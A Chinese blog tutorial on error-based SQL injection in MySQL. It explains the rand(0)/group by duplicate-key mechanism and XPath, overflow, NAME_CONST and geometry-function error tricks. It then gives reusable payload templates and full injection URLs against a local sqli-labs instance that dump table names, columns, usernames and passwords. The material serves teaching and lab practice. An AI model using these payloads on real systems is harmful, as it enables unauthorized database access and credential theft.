提交数据里面有and就报错_web安全之SQL盲注(报错型)

继续上一节内容,这节讲下基于报错的SQL盲注,本节内容在理解上跟前面内容相比,稍微有一些难度,在阅读上需要花点时间。

基于报错的SQL盲注

核心思想是构造payload让信息通过错误提示暴露出来

首先还是按上一节的逻辑先介绍下可能会用到的方法函数

1)rand():用于产生0(包含)到1(不包含)的随机数,不可重复的;如果指定了参数例如rand(0),即指定了随机数生产的种子,那么这种情况产生的随机数是重复的,如下图,两次rand()产生的值不同,但两次rand(0)产生的值相同

330f83e4523fb22bbd26de14f45c6251.png

2)floor():向下舍入取整,例如:

floor(1.45,0)=1 floor(1.55,0)=1

3) round(str,decimals):把数值字段舍入为指定的小数位数,例如:

round(123.456,0)=123round(123.456,1)=123.5round(123.456,2)=123.46

常见基于报错的SQL盲注类型

  • count 、group by、rand报错

这是比较常见的一种报错形式,常见的攻击载荷为:

select count(*),(floor(rand(0)*2))x from table group by x;

网上大多都描述成floor报错的,其实报错需要用到count(*),rand()、group by,三者缺一不可,这种报错根本原因是由于主键重复,网上很少有讲清楚原理的,此处我们慢慢来分析下

1)测试报错原因

新建test表,在test数据表中插入2条数据,执行 select count(*) from test group by floor(rand()*2) 多次测试没有问题,始终显示正常

ad4585cf311c182e71b458fd929ed98b.png

继续向表中插入一条数据,此时表中有3条数据,再多次执行select count(*) from test group by floor(rand()*2) 时,发现偶然会出现报错,报错原因提示为主键冲突,然而这种报错是在执行insert或update时才会出现的,这里测试有时报主键1冲突,有时报主键0冲突

bbf769990286ec8645041753d6058f42.png

继续测试,当我们用floor(rand(0)*2)测试时,即将上述rand()改为rand(0),前面提了二者之间的区别是rand(0)产生的值是一定的,结果发现必定报错,且报 ERROR 1062 (23000):Duplicate entry ‘1’ for key ‘group_key’,即主键1冲突

21036516e2c693ab736faf5b0d1a8a28.png

所以有结论:在利用 select count(*) from test group by floor(rand(0)*2)查询时,表中内容大于等于3条时一定会报错,这是报错的条件,基于报错的SQL盲注用的也就是该原理。

2)解释上述结论

接下来分析下上述报错的根本原因,首先我们看下 floor(rand(0)*2) 输出到底是什么,测试如下图,当数据表users中有多条数据时,我们发现floor(rand(0)*2) 的值始终为一串有恒定规律的数字 0110110011101......

8667eff76970b892b0d4d436344a8291.png

再看语句select count(*),(floor(rand(0)*2))x from table group by x,这里的x是别名的意思,此处注意当count和group by 合在一起用时,在MYSQL中执行时会建立虚拟表,虚拟表用来统计。开始查询数据时,取数据表中的数据,然后查看虚拟表中是否存在,不存在则插入新记录,存在则count(*)字段直接加1。

上述语句执行时在虚拟表创建的过程中:主键为floor(rand(0)*2),值为count(*)

mysql官方有给过提示,在查询的时候如果使用rand()的话,该值会被计算多次,这个“被计算多次”的意思就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。

由于表中存在多条数据时floor(rand(0)*2)是有规律的 0110110011101....,语句多次执行伪代码如下:

1. select count(*) from table group by 02. select count(*) from table group by 13. select count(*) from table group by 14. select count(*) from table group by 05. select count(*) from table group by 1......

下面来进行整理下:

a. 查询前默认先建立空的虚拟表

44b12d0ad64b7117986bdc4f476e2c34.png

b. 查询数据表中的第一条记录,第一次执行floor(rand(0)*2),发现结果为0(第1次计算),查询虚拟表,发现0的键值不存在,那么floor(rand(0)*2)会被再计算一次,此时结果为1(第2次计算),于是插入到虚拟表,这时虚拟表第一条记录为

1c1dea93ca212c727cf372ad15798675.png

c. 查询数据表中的第二条记录,再次计算floor(rand(0)*2),发现结果为1(第3次计算),查询虚拟表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕虚拟表如下

786b0ccf09c21124d07e7be8d5776706.png

d. 查询数据表中的第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚拟表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算(第5次计算),此时其作为虚拟表的主键,值为1,然而1这个主键已经存在于虚拟表中,主键键值必须唯一,所以插入的时候就直接报错了,最终报错的结果即主键‘1’重复

94fba8295240cf341df404df46bebd21.png

所以,整个查询过程中,查询原数据表中3条记录, 而floor(rand(0)*2) 被计算了5次,所以这就是为什么数据表中至少需要有3条数据,使用该语句才会报错的原因,这也是上述报错的根本原因。

那么如果有一个序列开头是0,1,0或者1,0,1,则无论如何都不会报错了,因为虚拟表开头两个主键分别是0和1,后面的就直接count(*)加1了。如果没明白建议再读一遍前面内容

3)构造利用

通过前面的解读,我们知道构造的基本格式即前面提到的三要素,缺一不可

select count(*),(floor(rand(0)*2))x from table group by x;

比如说要查询当前的数据库,可以这么写,因为information_schema.tables表中的数据肯定不止3条,所以会报错

and (select 1 from (select count(*),concat((select (select concat(0x7e,database(),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

固定利用句式:替换下面的payload字段即可任意构造了

and (select 1 from (select count(*),concat((select (select payload) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • xpath语法报错

从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容,它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里

Extractvalue函数传递 2个参数

2323f006a02ea42c4d8e4ff6154d5733.png

updatexml 传递3个参数

efe6f4624eb31c10db90ca848bdf0ab2.png
  • 整数溢出

在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。试着对最大数做加法运算,可以看到报错的具体情况:

下图为整数的取值范围:

ac339860470f9dc6bfe21309c4851003.png

如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的,例如如下的运算:

b5541a99dbe34b9e8d41053d0a240dcb.png

因此可以构造类似如下的运算使整数溢出进而报错显示出信息:

select !(select * from (select user())x)-~0;select ~0+!(select * from(select user())x);
ERROR 1690 (22003): BIGINT value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))'

同理,利用exp函数也会产生类似的溢出错误:Exp(x):返回自然对数e 的 x 次方值。

  • 其它特性

1)列明重复

mysql列名重复会报错,我们利用name_const来制造一个列:

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

此处重复了 version()导致报错,显示出当前数据库版本

daa74f557fcf622c2fd86d00b552e1bc.png

2)其它的几何函数

例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),这些几何函数当传入字符时会导致报错

select multipoint((select * from (select * from (select * from (select version ())a)b)c));

当然还有其它等等类型

案例测试

还是利用上一节布尔盲注的demo

  • count、group by、rand报错利用

利用information_schema.tables表中数据必定大于3来构造外围报错条件,所以先构造外部报错句式,在payload位置填充内容

union select 1,count(*),concat(0x7e,(payload),0x7e,floor(rand(0)*2))a from information_schema.tables group by a--+

查询数据库中的表payload为:

select table_name from information_schema.tables where table_schema=database() limit 3,1

直接利用payload填充上述内容即可,完整利用过程:

1)报错显示当前数据库中的第四个表

http://192.168.102.135/ctf/sqli/Less-5/index.php?id=1' union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a--+
db2d5d3c1abdd33be161735c16b99b0f.png

2)报错显示表中的字段

http://192.168.102.135/ctf/sqli/Less-5/index.php?id=1' union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a--+
514bfe0556a5c997a08b86eccfffb7b9.png

3)报错显示用户名和密码

http://192.168.102.135/ctf/sqli/Less-5/index.php?id=1' union select 1,count(*),concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a--+
3adb531e86bcb27a4d85f44fb5baf2e3.png
http://192.168.102.135/ctf/sqli/Less-5/index.php?id=1' union select 1,count(*),concat(0x7e,(select password from users limit 0,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a--+
d4148f174e4be1998053c73c937ddb39.png
  • xpath报错利用

报错显示当前数据库版本

http://192.168.102.135/ctf/sqli/Less-5/index.php?id=1' union select 1,2, extractvalue(1,concat(0x7e,@@version)) from information_schema.tables--+
dd14f273c75bfb75ce5160881d842c49.png
  • 构造列名重复利用

报错显示当前数据库版本

http://192.168.102.135/ctf/sqli/Less-5/index.php?id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x--+
bdf9453d1224cbc0e3cbd8068c8da1e3.png
  • 利用几何函数传入字符时报错

当id字段存在时爆出数据库及表的信息

http://192.168.102.135/ctf/sqli/Less-5/index.php?id=1' and polygon(id)--+
4d8b5235b525cf08add95919254e8091.png

小结

以上就是基于报错的SQL盲注,原理写的比较清晰了,理解上较上篇内容稍有些难度。核心思想是构造payload让信息通过错误提示暴露出来,在构造时,可以先写好固定句式,然后对payload字段进行替换测试即可

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值